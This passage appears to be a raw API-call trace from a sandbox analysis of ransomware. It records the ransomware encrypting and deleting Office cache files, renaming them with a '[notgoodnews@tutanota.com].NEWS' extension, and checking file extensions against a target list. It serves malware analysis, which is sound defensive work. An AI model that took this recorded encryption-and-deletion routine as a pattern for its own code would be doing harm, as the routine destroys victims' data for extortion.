users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.195] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0064.196] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0064.196] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0x0) returned 1 [0064.196] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.196] ReadFile (in: hFile=0x214, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.461] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.461] ReadFile (in: hFile=0x214, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.482] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0064.483] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.483] ReadFile (in: hFile=0x214, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.504] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.504] WriteFile (in: hFile=0x214, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x312fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0065.001] SetEndOfFile (hFile=0x214) returned 1 [0065.012] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef4860 [0065.770] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.771] WriteFile (in: hFile=0x214, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.774] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.774] WriteFile (in: hFile=0x214, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.785] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.785] WriteFile (in: hFile=0x214, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.791] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef4860 | out: hHeap=0x5c0000) returned 1 [0065.791] CloseHandle (hObject=0x214) returned 1 [0065.791] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0065.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.792] lstrlenW (lpString=".doc") returned 4 [0065.792] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0065.792] lstrlenW (lpString=".docx") returned 5 [0065.792] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0065.792] lstrlenW (lpString=".pdf") returned 4 [0065.792] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0065.792] lstrlenW (lpString=".xls") returned 4 [0065.792] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0065.792] lstrlenW (lpString=".xlsx") returned 5 [0065.792] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0065.792] lstrlenW (lpString=".ppt") returned 4 [0065.792] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0065.792] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.792] lstrlenW (lpString=".zip") returned 4 [0065.792] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0065.792] lstrlenW (lpString=".rar") returned 4 [0065.792] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0065.792] lstrlenW (lpString=".bz2") returned 4 [0065.792] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0065.792] lstrlenW (lpString=".7z") returned 3 [0065.793] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0065.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.793] lstrlenW (lpString=".dbf") returned 4 [0065.793] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0065.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.793] lstrlenW (lpString=".1cd") returned 4 [0065.793] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0065.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.793] lstrlenW (lpString=".jpg") returned 4 [0065.793] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0065.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.793] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.793] lstrlenW (lpString=".doc") returned 4 [0065.793] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0065.793] lstrlenW (lpString=".docx") returned 5 [0065.793] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0065.793] lstrlenW (lpString=".pdf") returned 4 [0065.793] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0065.793] lstrlenW (lpString=".xls") returned 4 [0065.793] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0065.793] lstrlenW (lpString=".xlsx") returned 5 [0065.793] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0065.794] lstrlenW (lpString=".ppt") returned 4 [0065.794] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0065.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.794] lstrlenW (lpString=".zip") returned 4 [0065.794] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0065.794] lstrlenW (lpString=".rar") returned 4 [0065.794] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0065.794] lstrlenW (lpString=".bz2") returned 4 [0065.794] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0065.794] lstrlenW (lpString=".7z") returned 3 [0065.794] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0065.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.794] lstrlenW (lpString=".dbf") returned 4 [0065.794] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0065.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.794] lstrlenW (lpString=".1cd") returned 4 [0065.794] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0065.794] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0065.794] lstrlenW (lpString=".jpg") returned 4 [0065.794] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0065.795] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0065.795] lstrlenW (lpString="dwtrig20.exe") returned 12 [0065.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.795] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=519584) returned 1 [0065.795] CloseHandle (hObject=0x214) returned 1 [0065.795] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0065.795] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0065.796] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.796] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.796] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0065.810] GetLastError () returned 0x0 [0065.810] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0066.119] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0066.133] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.133] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.134] SetEndOfFile (hFile=0x1ec) returned 1 [0066.134] CloseHandle (hObject=0x1ec) returned 1 [0066.134] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.134] SetEndOfFile (hFile=0x214) returned 1 [0066.142] CloseHandle (hObject=0x214) returned 1 [0066.142] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.362] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0066.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.362] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.362] lstrlenW (lpString=".doc") returned 4 [0066.362] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0066.362] lstrlenW (lpString=".docx") returned 5 [0066.363] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0066.363] lstrlenW (lpString=".pdf") returned 4 [0066.363] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0066.363] lstrlenW (lpString=".xls") returned 4 [0066.363] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0066.363] lstrlenW (lpString=".xlsx") returned 5 [0066.363] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0066.363] lstrlenW (lpString=".ppt") returned 4 [0066.363] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0066.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.363] lstrlenW (lpString=".zip") returned 4 [0066.363] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0066.363] lstrlenW (lpString=".rar") returned 4 [0066.363] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0066.363] lstrlenW (lpString=".bz2") returned 4 [0066.363] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0066.363] lstrlenW (lpString=".7z") returned 3 [0066.363] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0066.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.363] lstrlenW (lpString=".dbf") returned 4 [0066.363] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0066.363] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.364] lstrlenW (lpString=".1cd") returned 4 [0066.364] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0066.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.364] lstrlenW (lpString=".jpg") returned 4 [0066.364] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0066.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.364] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.364] lstrlenW (lpString=".doc") returned 4 [0066.364] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0066.364] lstrlenW (lpString=".docx") returned 5 [0066.364] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0066.364] lstrlenW (lpString=".pdf") returned 4 [0066.364] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0066.364] lstrlenW (lpString=".xls") returned 4 [0066.364] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0066.364] lstrlenW (lpString=".xlsx") returned 5 [0066.364] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0066.364] lstrlenW (lpString=".ppt") returned 4 [0066.364] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0066.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.365] lstrlenW (lpString=".zip") returned 4 [0066.365] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0066.365] lstrlenW (lpString=".rar") returned 4 [0066.365] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0066.365] lstrlenW (lpString=".bz2") returned 4 [0066.365] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0066.365] lstrlenW (lpString=".7z") returned 3 [0066.365] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0066.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.365] lstrlenW (lpString=".dbf") returned 4 [0066.365] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0066.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.365] lstrlenW (lpString=".1cd") returned 4 [0066.365] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0066.365] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0066.365] lstrlenW (lpString=".jpg") returned 4 [0066.365] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0066.366] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0066.366] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0066.366] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0066.366] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=868864) returned 1 [0066.366] CloseHandle (hObject=0x210) returned 1 [0066.366] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0066.366] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0066.367] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.367] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0066.367] GetLastError () returned 0x0 [0066.367] ReadFile (in: hFile=0x210, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0066.391] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0066.608] ReadFile (in: hFile=0x210, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x312fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.608] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x312fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0066.608] SetEndOfFile (hFile=0x1ec) returned 1 [0066.608] CloseHandle (hObject=0x1ec) returned 1 [0066.609] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.609] SetEndOfFile (hFile=0x210) returned 1 [0066.624] CloseHandle (hObject=0x210) returned 1 [0066.624] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.624] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0066.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.625] lstrlenW (lpString=".doc") returned 4 [0066.625] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0066.625] lstrlenW (lpString=".docx") returned 5 [0066.625] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0066.625] lstrlenW (lpString=".pdf") returned 4 [0066.625] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0066.625] lstrlenW (lpString=".xls") returned 4 [0066.625] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0066.625] lstrlenW (lpString=".xlsx") returned 5 [0066.625] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0066.625] lstrlenW (lpString=".ppt") returned 4 [0066.625] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0066.625] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.625] lstrlenW (lpString=".zip") returned 4 [0066.626] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0066.626] lstrlenW (lpString=".rar") returned 4 [0066.626] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0066.626] lstrlenW (lpString=".bz2") returned 4 [0066.626] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0066.626] lstrlenW (lpString=".7z") returned 3 [0066.626] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0066.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.626] lstrlenW (lpString=".dbf") returned 4 [0066.626] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0066.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.626] lstrlenW (lpString=".1cd") returned 4 [0066.626] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0066.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.626] lstrlenW (lpString=".jpg") returned 4 [0066.626] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0066.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.626] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0066.626] lstrlenW (lpString=".doc") returned 4 [0066.627] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0066.627] lstrlenW (lpString=".docx") returned 5 [0066.627] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0066.627] lstrlenW (lpString=".pdf") returned 4 [0066.627] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0066.627] lstrlenW (lpString=".xls") returned 4 [0066.627] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0066.627] lstrlenW (lpString=".xlsx") returned 5 [0066.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0066.627] lstrlenW (lpString=".ppt") returned 4 [0066.627] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0066.627] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 